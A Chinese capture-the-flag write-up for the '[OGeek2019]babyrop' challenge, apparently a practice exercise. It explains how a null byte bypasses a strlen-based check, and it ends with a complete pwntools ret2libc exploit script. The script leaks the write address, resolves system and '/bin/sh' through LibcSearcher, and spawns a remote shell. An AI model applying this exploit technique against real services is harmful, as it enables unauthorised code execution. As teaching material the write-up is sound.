[OGeek2019]babyrop
这题也是标准的ret2libc,给了libc库但是可以选择不用。
这题是比较难读的。

主函数是这样的,第一个没用。然后fd是给了以一个随机数。这里read把fd赋值给了buf然后buf就是一个随机数,在把buf放进下一个函数。

这里看到buf变成了a1,然后在11行,把a1又给了s这样s就成了随机数。然后我们输入buf,再让buf和s比较,如果不一样,就给你寄掉,好了怎么办?
这里看到strlen就要想想截断会怎么样。发现,截断后就v1就是0就无法比较也就是不会寄。怎么截断,buf是我们的输入,不要见到输入就想溢出。也可以用来干点别的。比如截断。
然后发现ret的是v5这时你再看看主程序,他把这个函数的返回值变成了下一个函数的参数,我的天,真的无语。

看看这最后的一个函数,把我们的参数判断是不是127如果不是,就可以溢出。那么我们返回去想想我们这个参数可以控制吗?可以!上一个函数的返回值,可以覆盖。欧克思路有了。
点击查看代码
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
io =remote("node4.buuoj.cn",26374)
elf = ELF('./pwn')
payload = '\x00'+'\xff'*0x7
io.sendline(payload)
io.recvuntil('Correct\n')
write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = 0x08048825
payload1 = 'a'*0xe7+'b'*0x4 + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)
io.sendline(payload1)
write_addr = u32(io.recv(4))
print('[+]write_addr: ',hex(write_addr))
libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
system_addr = libc_base + libc.dump('system')
str_bin_sh = libc_base + libc.dump('str_bin_sh')
io.sendline(payload)
io.recvuntil('Correct\n')
payload2 = 'a'*0xe7+'b'*0x4 + p32(system_addr) + p32(main_addr) + p32(str_bin_sh)
io.sendline(payload2)
io.interactive()

浙公网安备 33010602011771号